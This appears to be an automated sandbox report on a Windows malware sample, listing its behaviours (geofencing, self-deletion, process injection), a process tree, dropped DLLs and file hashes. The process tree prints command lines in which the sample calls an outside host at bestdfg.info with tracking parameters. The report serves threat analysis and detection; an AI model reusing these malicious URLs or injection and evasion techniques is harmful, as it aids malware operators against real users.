Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/08/2024, 19:07

General

  • Target
    b8c946dafddbb3a8de2eb9318ca194d1_JaffaCakes118.exe
  • Size 106KB
  • Sample240822-xsph9asgrd
  • SHA256 80e167dda3a0a7c81bf7a260f404ae9c2bc5d77ee426f6e2943b17a214d05154
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 19 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 22 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 64 IoCs
  • Suspicious use of FindShellTrayWindow 12 IoCs
  • Suspicious use of SetWindowsHookEx 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b8c946dafddbb3a8de2eb9318ca194d1_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\b8c946dafddbb3a8de2eb9318ca194d1_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1848
    • C:\Program Files (x86)\Internet Explorer\iexplore.exe
      "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://dsdc.bestdfg.info:251/?t=822&i=ie&731c0c50ae0e67c01f430293c47e554879985f75=731c0c50ae0e67c01f430293c47e554879985f75&uu=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2140
      • C:\Program Files\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://dsdc.bestdfg.info:251/?t=822&i=ie&731c0c50ae0e67c01f430293c47e554879985f75=731c0c50ae0e67c01f430293c47e554879985f75&uu=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:552
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:552 CREDAT:17410 /prefetch:2
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:3468
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:552 CREDAT:82950 /prefetch:2
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:3084
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:552 CREDAT:82958 /prefetch:2
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:4668
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:552 CREDAT:82966 /prefetch:2
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:2984
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:552 CREDAT:82980 /prefetch:2
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:540
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:552 CREDAT:82994 /prefetch:2
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:4228
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:552 CREDAT:83008 /prefetch:2
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:1780
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:552 CREDAT:83022 /prefetch:2
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          PID:3096
    • C:\Program Files (x86)\Internet Explorer\iexplore.exe
      "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a1&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2052
      • C:\Program Files\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a1&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
        3⤵
          PID:448
      • C:\Program Files (x86)\Internet Explorer\iexplore.exe
        "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a2&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2928
        • C:\Program Files\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a2&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
          3⤵
          • Modifies Internet Explorer settings
          PID:4228
      • C:\Program Files (x86)\Internet Explorer\iexplore.exe
        "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a3&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2148
        • C:\Program Files\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a3&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
          3⤵
            PID:4904
        • C:\Program Files (x86)\Internet Explorer\iexplore.exe
          "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a4&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2684
          • C:\Program Files\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a4&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
            3⤵
            • Modifies Internet Explorer settings
            PID:4696
        • C:\Program Files (x86)\Internet Explorer\iexplore.exe
          "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a5&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1536
          • C:\Program Files\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a5&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
            3⤵
              PID:4292
          • C:\Program Files (x86)\Internet Explorer\iexplore.exe
            "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a6&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4756
            • C:\Program Files\Internet Explorer\IEXPLORE.EXE
              "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a6&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
              3⤵
              • Modifies Internet Explorer settings
              PID:3604
          • C:\Program Files (x86)\Internet Explorer\iexplore.exe
            "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a7&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:780
            • C:\Program Files\Internet Explorer\IEXPLORE.EXE
              "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a7&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
              3⤵
              • Modifies Internet Explorer settings
              PID:4364
          • C:\Program Files (x86)\Internet Explorer\iexplore.exe
            "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a8&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2572
            • C:\Program Files\Internet Explorer\IEXPLORE.EXE
              "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a8&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
              3⤵
                PID:2704
            • C:\Program Files (x86)\Internet Explorer\iexplore.exe
              "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a9&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
              2⤵
              • System Location Discovery: System Language Discovery
              PID:4940
              • C:\Program Files\Internet Explorer\IEXPLORE.EXE
                "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a9&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
                3⤵
                • Modifies Internet Explorer settings
                PID:3592
            • C:\Program Files (x86)\Internet Explorer\iexplore.exe
              "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a10&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
              2⤵
              • System Location Discovery: System Language Discovery
              PID:1532
              • C:\Program Files\Internet Explorer\IEXPLORE.EXE
                "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a10&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
                3⤵
                  PID:1692
              • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a11&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
                2⤵
                • System Location Discovery: System Language Discovery
                PID:616
                • C:\Program Files\Internet Explorer\IEXPLORE.EXE
                  "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a11&tt=822&ur=JaffaCakes118&731c0c50ae0e67c01f430293c47e554879985f75
                  3⤵
                    PID:2684
                • C:\Windows\SysWOW64\explorer.exe
                  explorer.exe
                  2⤵
                  • Deletes itself
                  • System Location Discovery: System Language Discovery
                  PID:1692

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    errorPageStrings[1]

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\02PT5J1W\errorPageStrings[1]
                    • Size 4KB
                    • SHA256 a1270e90cea31b46432ec44731bf4400d22b38eb2855326bf934fe8f1b169a4f
                    • MD5 SHA1 SHA512 SSDEEP

                    NewErrorPageTemplate[1]

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\3GJVVK7B\NewErrorPageTemplate[1]
                    • Size 1KB
                    • SHA256 77b138ab5d0a90ff04648c26addd5e414cc178165e3b54a4cb3739da0f58e075
                    • MD5 SHA1 SHA512

                    dnserror[1]

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\BRZNMQLE\dnserror[1]
                    • Size 2KB
                    • SHA256 acdeb4966289b6ce46ecc879531f85e9c6f94b718aab521d38e2e00f7f7f7993
                    • MD5 SHA1 SHA512

                    down[1]

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\BRZNMQLE\down[1]
                    • Size 748B
                    • SHA256 39e7de847c9f731eaa72338ad9053217b957859de27b50b6474ec42971530781
                    • MD5 SHA1 SHA512

                    suggestions[1].en-US

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\BRZNMQLE\suggestions[1].en-US
                    • Size 17KB
                    • SHA256 c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
                    • MD5 SHA1 SHA512 SSDEEP

                    httpErrorPagesScripts[1]

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\OD2FK6XO\httpErrorPagesScripts[1]
                    • Size 11KB
                    • SHA256 65cc039890c7ceb927ce40f6f199d74e49b8058c3f8a6e22e8f916ad90ea8649
                    • MD5 SHA1 SHA512 SSDEEP

                    InetLoad.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\nst9CAE.tmp\InetLoad.dll
                    • Size 18KB
                    • SHA256 bf01a1f272e0daf82df3407690b646e0ff6b2c562e36e47cf177eda71ccb6f6c
                    • MD5 SHA1 SHA512 SSDEEP

                    Math.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\nst9CAE.tmp\Math.dll
                    • Size 66KB
                    • SHA256 54cf1572ed47f614b0ffb886c99fc5725f454ef7ff919fbb2fd13d1cbe270560
                    • MD5 SHA1 SHA512 SSDEEP

                    SelfDel.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\nst9CAE.tmp\SelfDel.dll
                    • Size 4KB
                    • SHA256 7cb51ccf21655e9590a6c3232920b16a3dfef15ffe9df7b8e71f487ca8c24da9
                    • MD5 SHA1 SHA512

                    System.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\nst9CAE.tmp\System.dll
                    • Size 11KB
                    • SHA256 dc4da2ccadb11099076926b02764b2b44ad8f97cd32337421a4cc21a3f5448f3
                    • MD5 SHA1 SHA512 SSDEEP

                    inetc.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\nst9CAE.tmp\inetc.dll
                    • Size 20KB
                    • SHA256 6d6ddc0d2b7d59eb91be44939457858ced5eb23cf4aa93ef33bb600eb28de6f6
                    • MD5 SHA1 SHA512 SSDEEP

                    time.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\nst9CAE.tmp\time.dll
                    • Size 10KB
                    • SHA256 b4a95a455e53372c59f91bc1b5fb9e5c8e4a10a506fa04aaf7be27048b30ae35
                    • MD5 SHA1 SHA512 SSDEEP

                    ~DF3846B280115B0A3D.TMP

                    • Path C:\Users\Admin\AppData\Local\Temp\~DF3846B280115B0A3D.TMP
                    • Size 16KB
                    • SHA256 a3ec8754d1131e7e3f9e35a5ea52257b5cae7686f3f4355da048ac16f4a30e98
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/1848-10-0x0000000003000000-0x000000000301A000-memory.dmp